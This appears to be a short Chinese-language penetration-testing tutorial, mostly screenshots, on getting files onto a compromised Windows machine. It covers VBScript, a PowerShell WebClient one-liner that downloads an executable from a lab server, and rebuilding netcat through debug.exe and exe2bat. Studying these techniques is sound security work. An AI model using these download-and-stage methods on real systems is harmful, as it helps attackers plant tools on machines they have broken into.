其实VBScript只是一个工具
本质是开启http服务提供下载的
首先我们开启http服务:阿帕奇
然后给上传一个文件做演示:
接下来就是编写VBScript:
这些内容全部输入完成之后:
传输
早期版本的windows使用vb作为脚本
而win7以后主要的脚本语言就是powershell
$storageDir = $pwd $webclient = New-Object System.Net.WebClient $url = "http://192.168.232.130/whoami.exe" $file = "new-exploit.exe" $webclient.DownloadFile($url,$file)
运行:这里的参数比较多(注意后缀是ps1数字1,而不是L)
使用DEBUG命令实现文件传输:
Debug工具是windows做汇编等功能的
文件最大为64k
![](https://upload-images.jianshu.io/upload_images/5334916-cd603dd5ae279121.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/965/format/webp)
![](https://upload-images.jianshu.io/upload_images/5334916-6efffb952ee60859.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1000/format/webp)
![](https://upload-images.jianshu.io/upload_images/5334916-7bc15914ea2074cb.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1000/format/webp)
这段红字有错误:exe2bat不是转换成十六进制,是将一个可执行文件转换成批处理文件
打开这个文本,然后将这些全都复制到命令行里面
![](https://upload-images.jianshu.io/upload_images/5334916-015724418dd3d928.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1000/format/webp)
![](https://upload-images.jianshu.io/upload_images/5334916-58bea54d8c0dbf61.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1000/format/webp)
![](https://upload-images.jianshu.io/upload_images/5334916-384231bc0afeae98.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1000/format/webp)
![](https://upload-images.jianshu.io/upload_images/5334916-8275209ee0796031.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1000/format/webp)
将123.hex作为输入,开始汇编。
![](https://upload-images.jianshu.io/upload_images/5334916-d67097b2770e57e5.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1000/format/webp)
经过测试,nc可以使用了
![](https://upload-images.jianshu.io/upload_images/5334916-9b31a92e50e859be.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/911/format/webp)
需要注意的是,这个文件不能大于64K。因此前面才会尽量压缩